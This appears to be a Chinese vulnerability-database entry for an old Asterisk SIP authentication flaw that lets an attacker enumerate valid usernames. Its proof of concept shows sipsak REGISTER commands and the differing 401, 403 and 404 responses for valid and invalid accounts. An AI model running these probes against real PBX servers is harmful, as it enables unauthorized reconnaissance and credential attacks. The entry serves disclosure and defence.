Asterisk认证SIP响应用户名枚举漏洞

基本字段

漏洞编号：: SSV-4993

披露/发现时间：: 未知

提交时间：: 2009-04-04

漏洞等级：

漏洞类别：: 越权访问

影响组件：: Asterisk
(1.6.0,1.4,1.2,1.3)

漏洞作者：: 未知

提交者：: Knownsec

CVE-ID：: 补充

CNNVD-ID：: 补充

CNVD-ID：: 补充

ZoomEye Dork：: 补充

来源

漏洞详情

贡献者 Knownsec 共获得 0KB

共 0 兑换了

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得 0.7KB

在启用了alwaysauthreject的Asterisk 1.4上：无效口令的无效用户 % sipsak-0.9.6/sipsak -IU -a testx -s sip:testX@asteriskbox:5060 SIP/2.0 401 Unauthorized Via: SIP/2.0/UDP 192.168.1.199:63013;branch=z9hG4bK.5db5cc72;alias;received=192.168.1.199;rport=48834 From: sip:testX@192.168.8.234:5060;tag=550fcb06 To: sip:testX@192.168.8.234:5060;tag=as49ef5a0f Call-ID: 1427098374@192.168.1.199 CSeq: 2 REGISTER User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY Supported: replaces WWW-Authenticate: Digest algorithm=MD5, realm=”asterisk”, nonce=”70f69171″ Content-Length: 0 无效口令的有效用户 % sipsak-0.9.6/sipsak -IU -a test -s sip:test@asteriskbox:5060 SIP/2.0 403 Forbidden (Bad auth) Via: SIP/2.0/UDP 192.168.111.1:64426;branch=z9hG4bK.53e7c9a7;alias;received=192.168.1.199;rport=40966 From: sip:test@192.168.8.234:5060;tag=4e3b4edd To: sip:test@192.168.8.234:5060;tag=as305009f4 Call-ID: 1312509661@192.168.111.1 CSeq: 2 REGISTER User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY Supported: replaces Content-Length: 0 在禁用了alwaysauthreject的Asterisk上：无效口令的无效用户 % sipsak-0.9.6/sipsak -IU -a testx -s sip:testX@asteriskbox:5060 SIP/2.0 404 Not found Via: SIP/2.0/UDP 192.168.111.1:62508;branch=z9hG4bK.37dcbfcf;alias;received=192.168.1.199;rport=37469 From: sip:testX@192.168.8.234:5060;tag=5596ae2f To: sip:testX@192.168.8.234:5060;tag=as5620a72f Call-ID: 1435938351@192.168.111.1 CSeq: 1 REGISTER User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY Supported: replaces Content-Length: 0 无效口令的有效用户 % sipsak-0.9.6/sipsak -IU -a testx -s sip:test@asteriskbox:5060 SIP/2.0 403 Forbidden (Bad auth) Via: SIP/2.0/UDP 192.168.1.199:62607;branch=z9hG4bK.1b938cca;alias;received=192.168.1.199;rport=35572 From: sip:test@192.168.8.234:5060;tag=55aaf11b To: sip:test@192.168.8.234:5060;tag=as4e3f230d Call-ID: 1437266203@192.168.1.199 CSeq: 2 REGISTER User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY Supported: replaces Content-Length: 0